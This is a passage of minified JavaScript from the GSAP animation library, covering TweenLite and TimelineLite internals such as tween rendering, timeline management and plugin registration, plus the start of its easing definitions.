b?b>>0:ab[b],(c||f instanceof Array||f.push&&aC(f))&&"number"!=typeof f[0]){for(this._targets=j=aP(f),this._propLookup=[],this._siblings=[],d=0;j.length>d;d++){g=j[d],g?"string"!=typeof g?g.length&&g!==aN&&g[0]&&(g[0]===aN||g[0].nodeType&&g[0].style&&!g.nodeType)?(j.splice(d--,1),this._targets=j=j.concat(aP(g))):(this._siblings[d]=G(g,this,!1),1===b&&this._siblings[d].length>1&&Q(g,this,null,1,this._siblings[d])):(g=j[d--]=af.selector(g),"string"==typeof g&&j.splice(d+1,1)):j.splice(d--,1)}}else{this._propLookup={},this._siblings=G(f,this,!1),1===b&&this._siblings.length>1&&Q(f,this,null,1,this._siblings)}(this.vars.immediateRender||0===k&&0===this._delay&&this.vars.immediateRender!==!1)&&(this._time=-aG,this.render(-this._delay))},!0),aS=function(a){return a.length&&a!==aN&&a[0]&&(a[0]===aN||a[0].nodeType&&a[0].style&&!a.nodeType)},am=function(c,a){var d,b={};for(d in c){aB[d]||d in a&&"transform"!==d&&"x"!==d&&"y"!==d&&"width"!==d&&"height"!==d&&"className"!==d&&"border"!==d||!(!aI[d]||aI[d]&&aI[d]._autoCSS)||(b[d]=c[d],delete c[d])}c.css=b};az=af.prototype=new ag,az.constructor=af,az.kill()._gc=!1,az.ratio=0,az._firstPT=az._targets=az._overwrittenProps=az._startAt=null,az._notifyPluginsOfEnabled=az._lazy=!1,af.version="1.13.2",af.defaultEase=az._ease=new av(null,null,1,1),af.defaultOverwrite="auto",af.ticker=aD,af.autoSleep=!0,af.lagSmoothing=function(b,a){aD.lagSmoothing(b,a)},af.selector=aN.$||aN.jQuery||function(a){var b=aN.$||aN.jQuery;return b?(af.selector=b,b(a)):"undefined"==typeof document?a:document.querySelectorAll?document.querySelectorAll(a):document.getElementById("#"===a.charAt(0)?a.substr(1):a)};var ac=[],aj={},ao=af._internals={isArray:aC,isSelector:aS,lazyTweens:ac},aI=af._plugins={},ak=ao.tweenLookup={},ai=0,aB=ao.reservedProps={ease:1,delay:1,overwrite:1,onComplete:1,onCompleteParams:1,onCompleteScope:1,useFrames:1,runBackwards:1,startAt:1,onUpdate:1,onUpdateParams:1,onUpdateScope:1,onStart:1,onStartParams:1,onStartScope:1,onReverseComplete:1,onReverseCompleteParams:1,onReverseCompleteScope:1,onRepeat:1,onRepeatParams:1,onRepeatScope:1,easeParams:1,yoyo:1,immediateRender:1,repeat:1,repeatDelay:1,data:1,paused:1,reversed:1,autoCSS:1,lazy:1},ab={none:0,all:1,auto:2,concurrent:3,allOnStart:4,preexisting:5,"true":1,"false":0},Y=ag._rootFramesTimeline=new ad,ar=ag._rootTimeline=new ad,K=ao.lazyRender=function(){var a=ac.length;for(aj={};--a>-1;){aA=ac[a],aA&&aA._lazy!==!1&&(aA.render(aA._lazy[0],aA._lazy[1],!0),aA._lazy=!1)}ac.length=0};ar._startTime=aD.time,Y._startTime=aD.frame,ar._active=Y._active=!0,setTimeout(K,1),ag._updateRoot=af.render=function(){var b,a,c;if(ac.length&&K(),ar.render((aD.time-ar._startTime)*ar._timeScale,!1,!1),Y.render((aD.frame-Y._startTime)*Y._timeScale,!1,!1),ac.length&&K(),!(aD.frame%120)){for(c in ak){for(a=ak[c].tweens,b=a.length;--b>-1;){a[b]._gc&&a.splice(b,1)}0===a.length&&delete ak[c]}if(c=ar._first,(!c||c._paused)&&af.autoSleep&&!Y._first&&1===aD._listeners.tick.length){for(;c&&c._paused;){c=c._next}c||aD.sleep()}}},aD.addEventListener("tick",ag._updateRoot);var G=function(f,b,g){var d,a,c=f._gsTweenID;if(ak[c||(f._gsTweenID=c="t"+ai++)]||(ak[c]={target:f,tweens:[]}),b&&(d=ak[c].tweens,d[a=d.length]=b,g)){for(;--a>-1;){d[a]===b&&d.splice(a,1)}}return ak[c].tweens},Q=function(v,A,k,b,l){var B,j,z,y;if(1===b||b>=4){for(y=l.length,B=0;y>B;B++){if((z=l[B])!==A){z._gc||z._enabled(!1,!1)&&(j=!0)}else{if(5===b){break}}}return j}var q,x=A._startTime+aG,m=[],g=0,w=0===A._duration;for(B=l.length;--B>-1;){(z=l[B])===A||z._gc||z._paused||(z._timeline!==A._timeline?(q=q||aq(A,0,w),0===aq(z,q,w)&&(m[g++]=z)):x>=z._startTime&&z._startTime+z.totalDuration()/z._timeScale>x&&((w||!z._initted)&&2e-10>=x-z._startTime||(m[g++]=z)))}for(B=g;--B>-1;){z=m[B],2===b&&z._kill(k,v)&&(j=!0),(2!==b||!z._firstPT&&z._initted)&&z._enabled(!1,!1)&&(j=!0)}return j},aq=function(f,b,g){for(var d=f._timeline,a=d._timeScale,c=f._startTime;d._timeline;){if(c+=d._startTime,a*=d._timeScale,d._paused){return -100}d=d._timeline}return c/=a,c>b?c-b:g&&c===b||!f._initted&&2*aG>c-b?aG:(c+=f.totalDuration()/f._timeScale/a)>b+aG?0:c-b-aG};az._init=function(){var j,m,d,b,g,p=this.vars,c=this._overwrittenProps,l=this._duration,k=!!p.immediateRender,h=p.ease;if(p.startAt){this._startAt&&(this._startAt.render(-1,!0),this._startAt.kill()),g={};for(b in p.startAt){g[b]=p.startAt[b]}if(g.overwrite=!1,g.immediateRender=!0,g.lazy=k&&p.lazy!==!1,g.startAt=g.delay=null,this._startAt=af.to(this.target,0,g),k){if(this._time>0){this._startAt=null}else{if(0!==l){return}}}}else{if(p.runBackwards&&0!==l){if(this._startAt){this._startAt.render(-1,!0),this._startAt.kill(),this._startAt=null}else{0!==this._time&&(k=!1),d={};for(b in p){aB[b]&&"autoCSS"!==b||(d[b]=p[b])}if(d.overwrite=0,d.data="isFromStart",d.lazy=k&&p.lazy!==!1,d.immediateRender=k,this._startAt=af.to(this.target,0,d),k){if(0===this._time){return}}else{this._startAt._init(),this._startAt._enabled(!1),this.vars.immediateRender&&(this._startAt=null)}}}}if(this._ease=h=h?h instanceof av?h:"function"==typeof h?new av(h,p.easeParams):al[h]||af.defaultEase:af.defaultEase,p.easeParams instanceof Array&&h.config&&(this._ease=h.config.apply(h,p.easeParams)),this._easeType=this._ease._type,this._easePower=this._ease._power,this._firstPT=null,this._targets){for(j=this._targets.length;--j>-1;){this._initProps(this._targets[j],this._propLookup[j]={},this._siblings[j],c?c[j]:null)&&(m=!0)}}else{m=this._initProps(this.target,this._propLookup,this._siblings,c)}if(m&&af._onPluginEvent("_onInitAllProps",this),c&&(this._firstPT||"function"!=typeof this.target&&this._enabled(!1,!1)),p.runBackwards){for(d=this._firstPT;d;){d.s+=d.c,d.c=-d.c,d=d._next}}this._onUpdate=p.onUpdate,this._initted=!0},az._initProps=function(p,d,b,h){var q,c,m,k,j,g;if(null==p){return !1}aj[p._gsTweenID]&&K(),this.vars.css||p.style&&p!==aN&&p.nodeType&&aI.css&&this.vars.autoCSS!==!1&&am(this.vars,p);for(q in this.vars){if(g=this.vars[q],aB[q]){g&&(g instanceof Array||g.push&&aC(g))&&-1!==g.join("").indexOf("{self}")&&(this.vars[q]=g=this._swapSelfInParams(g,this))}else{if(aI[q]&&(k=new aI[q])._onInitTween(p,this.vars[q],this)){for(this._firstPT=j={_next:this._firstPT,t:k,p:"setRatio",s:0,c:1,f:!0,n:q,pg:!0,pr:k._priority},c=k._overwriteProps.length;--c>-1;){d[k._overwriteProps[c]]=this._firstPT}(k._priority||k._onInitAllProps)&&(m=!0),(k._onDisable||k._onEnable)&&(this._notifyPluginsOfEnabled=!0)}else{this._firstPT=d[q]=j={_next:this._firstPT,t:p,p:q,f:"function"==typeof p[q],n:q,pg:!1,pr:0},j.s=j.f?p[q.indexOf("set")||"function"!=typeof p["get"+q.substr(3)]?q:"get"+q.substr(3)]():parseFloat(p[q]),j.c="string"==typeof g&&"="===g.charAt(1)?parseInt(g.charAt(0)+"1",10)*Number(g.substr(2)):Number(g)-j.s||0}}j&&j._next&&(j._next._prev=j)}return h&&this._kill(h,p)?this._initProps(p,d,b,h):this._overwrite>1&&this._firstPT&&b.length>1&&Q(p,this,d,this._overwrite,b)?(this._kill(d,p),this._initProps(p,d,b,h)):(this._firstPT&&(this.vars.lazy!==!1&&this._duration||this.vars.lazy&&!this._duration)&&(aj[p._gsTweenID]=!0),m)},az.render=function(q,y,j){var b,k,z,g,x=this._time,w=this._duration,m=this._rawPrevTime;if(q>=w){this._totalTime=this._time=w,this.ratio=this._ease._calcEnd?this._ease.getRatio(1):1,this._reversed||(b=!0,k="onComplete"),0===w&&(this._initted||!this.vars.lazy||j)&&(this._startTime===this._timeline._duration&&(q=0),(0===q||0>m||m===aG)&&m!==q&&(j=!0,m>aG&&(k="onReverseComplete")),this._rawPrevTime=g=!y||q||m===q?q:aG)}else{if(1e-7>q){this._totalTime=this._time=0,this.ratio=this._ease._calcEnd?this._ease.getRatio(0):0,(0!==x||0===w&&m>0&&m!==aG)&&(k="onReverseComplete",b=this._reversed),0>q&&(this._active=!1,0===w&&(this._initted||!this.vars.lazy||j)&&(m>=0&&(j=!0),this._rawPrevTime=g=!y||q||m===q?q:aG)),this._initted||(j=!0)}else{if(this._totalTime=this._time=q,this._easeType){var v=q/w,l=this._easeType,d=this._easePower;(1===l||3===l&&v>=0.5)&&(v=1-v),3===l&&(v*=2),1===d?v*=v:2===d?v*=v*v:3===d?v*=v*v*v:4===d&&(v*=v*v*v*v),this.ratio=1===l?1-v:2===l?v:0.5>q/w?v/2:1-v/2}else{this.ratio=this._ease.getRatio(q/w)}}}if(this._time!==x||j){if(!this._initted){if(this._init(),!this._initted||this._gc){return}if(!j&&this._firstPT&&(this.vars.lazy!==!1&&this._duration||this.vars.lazy&&!this._duration)){return this._time=this._totalTime=x,this._rawPrevTime=m,ac.push(this),this._lazy=[q,y],void 0}this._time&&!b?this.ratio=this._ease.getRatio(this._time/w):b&&this._ease._calcEnd&&(this.ratio=this._ease.getRatio(0===this._time?0:1))}for(this._lazy!==!1&&(this._lazy=!1),this._active||!this._paused&&this._time!==x&&q>=0&&(this._active=!0),0===x&&(this._startAt&&(q>=0?this._startAt.render(q,y,j):k||(k="_dummyGS")),this.vars.onStart&&(0!==this._time||0===w)&&(y||this.vars.onStart.apply(this.vars.onStartScope||this,this.vars.onStartParams||aQ))),z=this._firstPT;z;){z.f?z.t[z.p](z.c*this.ratio+z.s):z.t[z.p]=z.c*this.ratio+z.s,z=z._next}this._onUpdate&&(0>q&&this._startAt&&this._startTime&&this._startAt.render(q,y,j),y||(this._time!==x||b)&&this._onUpdate.apply(this.vars.onUpdateScope||this,this.vars.onUpdateParams||aQ)),k&&(!this._gc||j)&&(0>q&&this._startAt&&!this._onUpdate&&this._startTime&&this._startAt.render(q,y,j),b&&(this._timeline.autoRemoveChildren&&this._enabled(!1,!1),this._active=!1),!y&&this.vars[k]&&this.vars[k].apply(this.vars[k+"Scope"]||this,this.vars[k+"Params"]||aQ),0===w&&this._rawPrevTime===aG&&g!==aG&&(this._rawPrevTime=0))}},az._kill=function(j,m){if("all"===j&&(j=null),null==j&&(null==m||m===this.target)){return this._lazy=!1,this._enabled(!1,!1)}m="string"!=typeof m?m||this._targets||this.target:af.selector(m)||m;var d,b,g,p,c,l,k,h;if((aC(m)||aS(m))&&"number"!=typeof m[0]){for(d=m.length;--d>-1;){this._kill(j,m[d])&&(l=!0)}}else{if(this._targets){for(d=this._targets.length;--d>-1;){if(m===this._targets[d]){c=this._propLookup[d]||{},this._overwrittenProps=this._overwrittenProps||[],b=this._overwrittenProps[d]=j?this._overwrittenProps[d]||{}:"all";break}}}else{if(m!==this.target){return !1}c=this._propLookup,b=this._overwrittenProps=j?this._overwrittenProps||{}:"all"}if(c){k=j||c,h=j!==b&&"all"!==b&&j!==c&&("object"!=typeof j||!j._tempKill);for(g in k){(p=c[g])&&(p.pg&&p.t._kill(k)&&(l=!0),p.pg&&0!==p.t._overwriteProps.length||(p._prev?p._prev._next=p._next:p===this._firstPT&&(this._firstPT=p._next),p._next&&(p._next._prev=p._prev),p._next=p._prev=null),delete c[g]),h&&(b[g]=1)}!this._firstPT&&this._initted&&this._enabled(!1,!1)}}return l},az.invalidate=function(){return this._notifyPluginsOfEnabled&&af._onPluginEvent("_onDisable",this),this._firstPT=this._overwrittenProps=this._startAt=this._onUpdate=null,this._notifyPluginsOfEnabled=this._active=this._lazy=!1,this._propLookup=this._targets?{}:[],ag.prototype.invalidate.call(this),this.vars.immediateRender&&(this._time=-aG,this.render(-this._delay)),this},az._enabled=function(c,a){if(ax||aD.wake(),c&&this._gc){var d,b=this._targets;if(b){for(d=b.length;--d>-1;){this._siblings[d]=G(b[d],this,!0)}}else{this._siblings=G(this.target,this,!0)}}return ag.prototype._enabled.call(this,c,a),this._notifyPluginsOfEnabled&&this._firstPT?af._onPluginEvent(c?"_onEnable":"_onDisable",this):!1},af.to=function(b,a,c){return new af(b,a,c)},af.from=function(b,a,c){return c.runBackwards=!0,c.immediateRender=0!=c.immediateRender,new af(b,a,c)},af.fromTo=function(c,a,d,b){return b.startAt=d,b.immediateRender=0!=b.immediateRender&&0!=d.immediateRender,new af(c,a,b)},af.delayedCall=function(d,b,f,c,a){return new af(b,0,{delay:d,onComplete:b,onCompleteParams:f,onCompleteScope:c,onReverseComplete:b,onReverseCompleteParams:f,onReverseCompleteScope:c,immediateRender:!1,useFrames:a,overwrite:0})},af.set=function(b,a){return new af(b,0,a)},af.getTweensOf=function(f,b){if(null==f){return[]}f="string"!=typeof f?f:af.selector(f)||f;var g,d,a,c;if((aC(f)||aS(f))&&"number"!=typeof f[0]){for(g=f.length,d=[];--g>-1;){d=d.concat(af.getTweensOf(f[g],b))}for(g=d.length;--g>-1;){for(c=d[g],a=g;--a>-1;){c===d[a]&&d.splice(g,1)}}}else{for(d=G(f).concat(),g=d.length;--g>-1;){(d[g]._gc||b&&!d[g].isActive())&&d.splice(g,1)}}return d},af.killTweensOf=af.killDelayedCallsTo=function(d,b,f){"object"==typeof b&&(f=b,b=!1);for(var c=af.getTweensOf(d,b),a=c.length;--a>-1;){c[a]._kill(f,d)}};var ah=aL("plugins.TweenPlugin",function(b,a){this._overwriteProps=(b||"").split(","),this._propName=this._overwriteProps[0],this._priority=a||0,this._super=ah.prototype},!0);if(az=ah.prototype,ah.version="1.10.1",ah.API=2,az._firstPT=null,az._addTween=function(g,c,j,f,b,d){var h,a;return null!=f&&(h="number"==typeof f||"="!==f.charAt(1)?Number(f)-j:parseInt(f.charAt(0)+"1",10)*Number(f.substr(2)))?(this._firstPT=a={_next:this._firstPT,t:g,p:c,s:j,c:h,f:"function"==typeof g[c],n:b||c,r:d},a._next&&(a._next._prev=a),a):void 0},az.setRatio=function(c){for(var a,d=this._firstPT,b=0.000001;d;){a=d.c*c+d.s,d.r?a=Math.round(a):b>a&&a>-b&&(a=0),d.f?d.t[d.p](a):d.t[d.p]=a,d=d._next}},az._kill=function(c){var a,d=this._overwriteProps,b=this._firstPT;if(null!=c[this._propName]){this._overwriteProps=[]}else{for(a=d.length;--a>-1;){null!=c[d[a]]&&d.splice(a,1)}}for(;b;){null!=c[b.n]&&(b._next&&(b._next._prev=b._prev),b._prev?(b._prev._next=b._next,b._prev=null):this._firstPT===b&&(this._firstPT=b._next)),b=b._next}return !1},az._roundProps=function(b,a){for(var c=this._firstPT;c;){(b[this._propName]||null!=c.n&&b[c.n.split(this._propName+"_").join("")])&&(c.r=a),c=c._next}},af._onPluginEvent=function(g,c){var j,f,b,d,h,a=c._firstPT;if("_onInitAllProps"===g){for(;a;){for(h=a._next,f=b;f&&f.pr>a.pr;){f=f._next}(a._prev=f?f._prev:d)?a._prev._next=a:b=a,(a._next=f)?f._prev=a:d=a,a=h}a=c._firstPT=b}for(;a;){a.pg&&"function"==typeof a.t[g]&&a.t[g]()&&(j=!0),a=a._next}return j},ah.activate=function(b){for(var a=b.length;--a>-1;){b[a].API===ah.API&&(aI[(new b[a])._propName]=b[a])}return !0},aF.plugin=function(g){if(!(g&&g.propName&&g.init&&g.API)){throw"illegal plugin definition."}var c,j=g.propName,f=g.priority||0,b=g.overwriteProps,d={init:"_onInitTween",set:"setRatio",kill:"_kill",round:"_roundProps",initAll:"_onInitAllProps"},h=aL("plugins."+j.charAt(0).toUpperCase()+j.substr(1)+"Plugin",function(){ah.call(this,j,f),this._overwriteProps=b||[]},g.global===!0),a=h.prototype=new ah(j);a.constructor=h,h.API=g.API;for(c in d){"function"==typeof g[c]&&(a[d[c]]=g[c])}return h.version=g.version,ah.activate([h]),h},aA=aN._gsQueue){for(aJ=0;aA.length>aJ;aJ++){aA[aJ]()}for(az in aO){aO[az].func||aN.console.log("GSAP encountered missing dependency: com.greensock."+az)}}ax=!1}})("undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window,"TweenLite");var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){_gsScope._gsDefine("TimelineLite",["core.Animation","core.SimpleTimeline","TweenLite"],function(y,E,k){var b=function(d){E.call(this,d),this._labels={},this.autoRemoveChildren=this.vars.autoRemoveChildren===!0,this.smoothChildTiming=this.vars.smoothChildTiming===!0,this._sortChildren=!0,this._onUpdate=this.vars.onUpdate;var f,c,a=this.vars;for(c in a){f=a[c],D(f)&&-1!==f.join("").indexOf("{self}")&&(a[c]=this._swapSelfInParams(f))}D(a.tweens)&&this.add(a.tweens,0,a.align,a.stagger)},q=1e-10,F=k._internals,j=F.isSelector,D=F.isArray,B=F.lazyTweens,x=F.lazyRender,m=[],A=_gsScope._gsDefine.globals,w=function(c){var a,d={};for(a in c){d[a]=c[a]}return d},g=function(f,c,h,d){var a=f._timeline._totalTime;(c||!this._forcingPlayhead)&&(f._timeline.pause(f._startTime),c&&c.apply(d||f._timeline,h||m),this._forcingPlayhead&&f._timeline.seek(a))},z=function(d){var a,f=[],c=d.length;for(a=0;a!==c;f.push(d[a++])){}return f},C=b.prototype=new E;return b.version="1.13.2",C.constructor=b,C.kill()._gc=C._forcingPlayhead=!1,C.to=function(h,c,f,a){var d=f.repeat&&A.TweenMax||k;return c?this.add(new d(h,c,f),a):this.set(h,f,a)},C.from=function(f,c,d,a){return this.add((d.repeat&&A.TweenMax||k).from(f,c,d),a)},C.fromTo=function(h,c,f,a,d){var l=a.repeat&&A.TweenMax||k;return c?this.add(l.fromTo(h,c,f,a),d):this.set(h,a,d)},C.staggerTo=function(r,I,n,J,H,G,o,h){var v,d=new b({onComplete:G,onCompleteParams:o,onCompleteScope:h,smoothChildTiming:this.smoothChildTiming});for("string"==typeof r&&(r=k.selector(r)||r),j(r)&&(r=z(r)),J=J||0,v=0;r.length>v;v++){n.startAt&&(n.startAt=w(n.startAt)),d.to(r[v],I,w(n),v*J)}return this.add(d,H)},C.staggerFrom=function(l,d,v,h,c,f,p,a){return v.immediateRender=0!=v.immediateRender,v.runBackwards=!0,this.staggerTo(l,d,v,h,c,f,p,a)},C.staggerFromTo=function(l,G,f,c,h,H,d,v,p){return c.startAt=f,c.immediateRender=0!=c.immediateRender&&0!=f.immediateRender,this.staggerTo(l,G,c,h,H,d,v,p)},C.call=function(f,c,d,a){return this.add(k.delayedCall(0,f,c,d),a)},C.set=function(d,a,c){return c=this._parseTimeOrLabel(c,0,!0),null==a.immediateRender&&(a.immediateRender=c===this._time&&!this._paused),this.add(new k(d,0,a),c)},b.exportRoot=function(h,d){h=h||{},null==h.smoothChildTiming&&(h.smoothChildTiming=!0);var c,f,l=new b(h),a=l._timeline;for(null==d&&(d=!0),a._remove(l,!0),l._startTime=0,l._rawPrevTime=l._time=l._totalTime=a._time,c=a._first;c;){f=c._next,d&&c instanceof k&&c.target===c.vars.onComplete||l.add(c,c._startTime-c._delay),c=f}return a.add(l,0),l},C.add=function(u,K,r,J){var G,t,I,v,n,H;if("number"!=typeof K&&(K=this._parseTimeOrLabel(K,0,!0,u)),!(u instanceof y)){if(u instanceof Array||u&&u.push&&D(u)){for(r=r||"normal",J=J||0,G=K,t=u.length,I=0;t>I;I++){D(v=u[I])&&(v=new b({tweens:v})),this.add(v,G),"string"!=typeof v&&"function"!=typeof v&&("sequence"===r?G=v._startTime+v.totalDuration()/v._timeScale:"start"===r&&(v._startTime-=v.delay())),G+=J}return this._uncache(!0)}if("string"==typeof u){return this.addLabel(u,K)}if("function"!=typeof u){throw"Cannot add "+u+" into the timeline; it is not a tween, timeline, function, or string."}u=k.delayedCall(0,u)}if(E.prototype.add.call(this,u,K),(this._gc||this._time===this._duration)&&!this._paused&&this._duration<this.duration()){for(n=this,H=n.rawTime()>u._startTime;n._timeline;){H&&n._timeline.smoothChildTiming?n.totalTime(n._totalTime,!0):n._gc&&n._enabled(!0,!1),n=n._timeline}}return this},C.remove=function(a){if(a instanceof y){return this._remove(a,!1)}if(a instanceof Array||a&&a.push&&D(a)){for(var c=a.length;--c>-1;){this.remove(a[c])}return this}return"string"==typeof a?this.removeLabel(a):this.kill(null,a)},C._remove=function(c,d){E.prototype._remove.call(this,c,d);var a=this._last;return a?this._time>a._startTime+a._totalDuration/a._timeScale&&(this._time=this.duration(),this._totalTime=this._totalDuration):this._time=this._totalTime=this._duration=this._totalDuration=0,this},C.append=function(c,a){return this.add(c,this._parseTimeOrLabel(null,a,!0,c))},C.insert=C.insertMultiple=function(d,a,f,c){return this.add(d,a||0,f,c)},C.appendMultiple=function(d,a,f,c){return this.add(d,this._parseTimeOrLabel(null,a,!0,d),f,c)},C.addLabel=function(c,a){return this._labels[c]=this._parseTimeOrLabel(a),this},C.addPause=function(d,a,f,c){return this.call(g,["{self}",a,f,c],this,d)},C.removeLabel=function(a){return delete this._labels[a],this},C.getLabelTime=function(a){return null!=this._labels[a]?this._labels[a]:-1},C._parseTimeOrLabel=function(c,h,f,a){var d;if(a instanceof y&&a.timeline===this){this.remove(a)}else{if(a&&(a instanceof Array||a.push&&D(a))){for(d=a.length;--d>-1;){a[d] instanceof y&&a[d].timeline===this&&this.remove(a[d])}}}if("string"==typeof h){return this._parseTimeOrLabel(h,f&&"number"==typeof c&&null==this._labels[h]?c-this.duration():0,f)}if(h=h||0,"string"!=typeof c||!isNaN(c)&&null==this._labels[c]){null==c&&(c=this.duration())}else{if(d=c.indexOf("="),-1===d){return null==this._labels[c]?f?this._labels[c]=this.duration()+h:h:this._labels[c]+h}h=parseInt(c.charAt(d-1)+"1",10)*Number(c.substr(d+1)),c=d>1?this._parseTimeOrLabel(c.substr(0,d-1),0,f):this.duration()}return Number(c)+h},C.seek=function(c,a){return this.totalTime("number"==typeof c?c:this._parseTimeOrLabel(c),a!==!1)},C.stop=function(){return this.paused(!0)},C.gotoAndPlay=function(c,a){return this.play(c,a)},C.gotoAndStop=function(c,a){return this.pause(c,a)},C.render=function(J,O,G){this._gc&&this._enabled(!0,!1);var a,P,l,N,L,I=this._dirty?this.totalDuration():this._totalDuration,f=this._time,K=this._startTime,M=this._timeScale,H=this._paused;if(J>=I?(this._totalTime=this._time=I,this._reversed||this._hasPausedChild()||(P=!0,N="onComplete",0===this._duration&&(0===J||0>this._rawPrevTime||this._rawPrevTime===q)&&this._rawPrevTime!==J&&this._first&&(L=!0,this._rawPrevTime>q&&(N="onReverseComplete"))),this._rawPrevTime=this._duration||!O||J||this._rawPrevTime===J?J:q,J=I+0.0001):1e-7>J?(this._totalTime=this._time=0,(0!==f||0===this._duration&&this._rawPrevTime!==q&&(this._rawPrevTime>0||0>J&&this._rawPrevTime>=0))&&(N="onReverseComplete",P=this._reversed),0>J?(this._active=!1,this._rawPrevTime>=0&&this._first&&(L=!0),this._rawPrevTime=J):(this._rawPrevTime=this._duration||!O||J||this._rawPrevTime===J?J:q,J=0,this._initted||(L=!0))):this._totalTime=this._time=this._rawPrevTime=J,this._time!==f&&this._first||G||L){if(this._initted||(this._initted=!0),this._active||!this._paused&&this._time!==f&&J>0&&(this._active=!0),0===f&&this.vars.onStart&&0!==this._time&&(O||this.vars.onStart.apply(this.vars.onStartScope||this,this.vars.onStartParams||m)),this._time>=f){for(a=this._first;a&&(l=a._next,!this._paused||H);){(a._active||a._startTime<=this._time&&!a._paused&&!a._gc)&&(a._reversed?a.render((a._dirty?a.totalDuration():a._totalDuration)-(J-a._startTime)*a._timeScale,O,G):a.render((J-a._startTime)*a._timeScale,O,G)),a=l}}else{for(a=this._last;a&&(l=a._prev,!this._paused||H);){(a._active||f>=a._startTime&&!a._paused&&!a._gc)&&(a._reversed?a.render((a._dirty?a.totalDuration():a._totalDuration)-(J-a._startTime)*a._timeScale,O,G):a.render((J-a._startTime)*a._timeScale,O,G)),a=l}}this._onUpdate&&(O||(B.length&&x(),this._onUpdate.apply(this.vars.onUpdateScope||this,this.vars.onUpdateParams||m))),N&&(this._gc||(K===this._startTime||M!==this._timeScale)&&(0===this._time||I>=this.totalDuration())&&(P&&(B.length&&x(),this._timeline.autoRemoveChildren&&this._enabled(!1,!1),this._active=!1),!O&&this.vars[N]&&this.vars[N].apply(this.vars[N+"Scope"]||this,this.vars[N+"Params"]||m)))}},C._hasPausedChild=function(){for(var a=this._first;a;){if(a._paused||a instanceof b&&a._hasPausedChild()){return !0}a=a._next}return !1},C.getChildren=function(l,d,h,c){c=c||-9999999999;for(var f=[],n=this._first,a=0;n;){c>n._startTime||(n instanceof k?d!==!1&&(f[a++]=n):(h!==!1&&(f[a++]=n),l!==!1&&(f=f.concat(n.getChildren(!0,d,h)),a=f.length))),n=n._next}return f},C.getTweensOf=function(l,d){var h,c,f=this._gc,n=[],a=0;for(f&&this._enabled(!0,!0),h=k.getTweensOf(l),c=h.length;--c>-1;){(h[c].timeline===this||d&&this._contains(h[c]))&&(n[a++]=h[c])}return f&&this._enabled(!1,!0),n},C._contains=function(c){for(var a=c.timeline;a;){if(a===this){return !0}a=a.timeline}return !1},C.shiftChildren=function(h,c,l){l=l||0;for(var f,a=this._first,d=this._labels;a;){a._startTime>=l&&(a._startTime+=h),a=a._next}if(c){for(f in d){d[f]>=l&&(d[f]+=h)}}return this._uncache(!0)},C._kill=function(f,c){if(!f&&!c){return this._enabled(!1,!1)}for(var h=c?this.getTweensOf(c):this.getChildren(!0,!0,!1),d=h.length,a=!1;--d>-1;){h[d]._kill(f,c)&&(a=!0)}return a},C.clear=function(c){var a=this.getChildren(!1,!0,!0),d=a.length;for(this._time=this._totalTime=0;--d>-1;){a[d]._enabled(!1,!1)}return c!==!1&&(this._labels={}),this._uncache(!0)},C.invalidate=function(){for(var a=this._first;a;){a.invalidate(),a=a._next}return y.prototype.invalidate.call(this)},C._enabled=function(c,d){if(c===this._gc){for(var a=this._first;a;){a._enabled(c,!0),a=a._next}}return E.prototype._enabled.call(this,c,d)},C.totalTime=function(){this._forcingPlayhead=!0;var a=y.prototype.totalTime.apply(this,arguments);return this._forcingPlayhead=!1,a},C.duration=function(a){return arguments.length?(0!==this.duration()&&0!==a&&this.timeScale(this._duration/a),this):(this._dirty&&this.totalDuration(),this._duration)},C.totalDuration=function(h){if(!arguments.length){if(this._dirty){for(var c,l,f=0,a=this._last,d=999999999999;a;){c=a._prev,a._dirty&&a.totalDuration(),a._startTime>d&&this._sortChildren&&!a._paused?this.add(a,a._startTime-a._delay):d=a._startTime,0>a._startTime&&!a._paused&&(f-=a._startTime,this._timeline.smoothChildTiming&&(this._startTime+=a._startTime/this._timeScale),this.shiftChildren(-a._startTime,!1,-9999999999),d=0),l=a._startTime+a._totalDuration/a._timeScale,l>f&&(f=l),a=c}this._duration=this._totalDuration=f,this._dirty=!1}return this._totalDuration}return 0!==this.totalDuration()&&0!==h&&this.timeScale(this._totalDuration/h),this},C.usesFrames=function(){for(var a=this._timeline;a._timeline;){a=a._timeline}return a===y._rootFramesTimeline},C.rawTime=function(){return this._paused?this._totalTime:(this._timeline.rawTime()-this._startTime)*this._timeScale},b},!0)}),_gsScope._gsDefine&&_gsScope._gsQueue.pop()(),function(b){var a=function(){return(_gsScope.GreenSockGlobals||_gsScope)[b]};"function"==typeof define&&define.amd?define(["TweenLite"],a):"undefined"!=typeof module&&module.exports&&(require("./TweenLite.js"),module.exports=a())}("TimelineLite");var _gsScope="undefined"!=typeof module&&module.exports&&"undefined"!=typeof global?global:this||window;(_gsScope._gsQueue||(_gsScope._gsQueue=[])).push(function(){_gsScope._gsDefine("easing.Back",["easing.Ease"],function(A){var G,k,b,x=_gsScope.GreenSockGlobals||_gsScope,H=x.com.greensock,j=2*Math.PI,F=Math.PI/2,D=H._class,z=function(c,f){var d=D("easing."+c,function(){},!0),a=d.prototype=new A;return a.constructor=d,a.getRatio=f,d},w=A.register||function(){},C=function(f,c,h,d){var a=D("easing."+f,{easeOut:new c,easeIn:new h,easeInOut:new d},!0);return w(a,f),a},y=function(c,a,d){this.t=c,this.v=a,d&&(this.next=d,d.prev=this,this.c=d.v-a,this.gap=d.t-c)},g=function(c,f){var d=D("easing."+c,function(h){this._p1=h||0===h?h:1.70158,this._p2=1.525*this._p1},!0),a=d.prototype=new A;return a.constructor=d,a.getRatio=f,a.config=function(h){return new d(h)},d},B=C("Back",g("BackOut",function(a){return(a-=1)*a*((this._p1+1)*a+this._p1)+1}),g("BackIn",function(a){return a*a*((this._p1+1)*a-this._p1)}),g("BackInOut",function(a){return 1>(a*=2)?0.5*a*a*((this._p2+1)*a-this._p2):0.5*((a-=2)*a*((this._p2+1)*a+this._p2)+2)})),E=D("easing.SlowMo",function(c,a,d){a=a||0===a?a:0.7,null==c?c=0.7:c>1&&(c=1),this._p=1!==c?a:0,this._p1=(1-c)/2,this._p2=c,this._p3=this._p1+this._p2,this._calcEnd=d===!0},!0),q=E.prototype=new A;return q.constructor=E,q.getRatio=function(c){var a=c+(0.5-c)*this._p;return 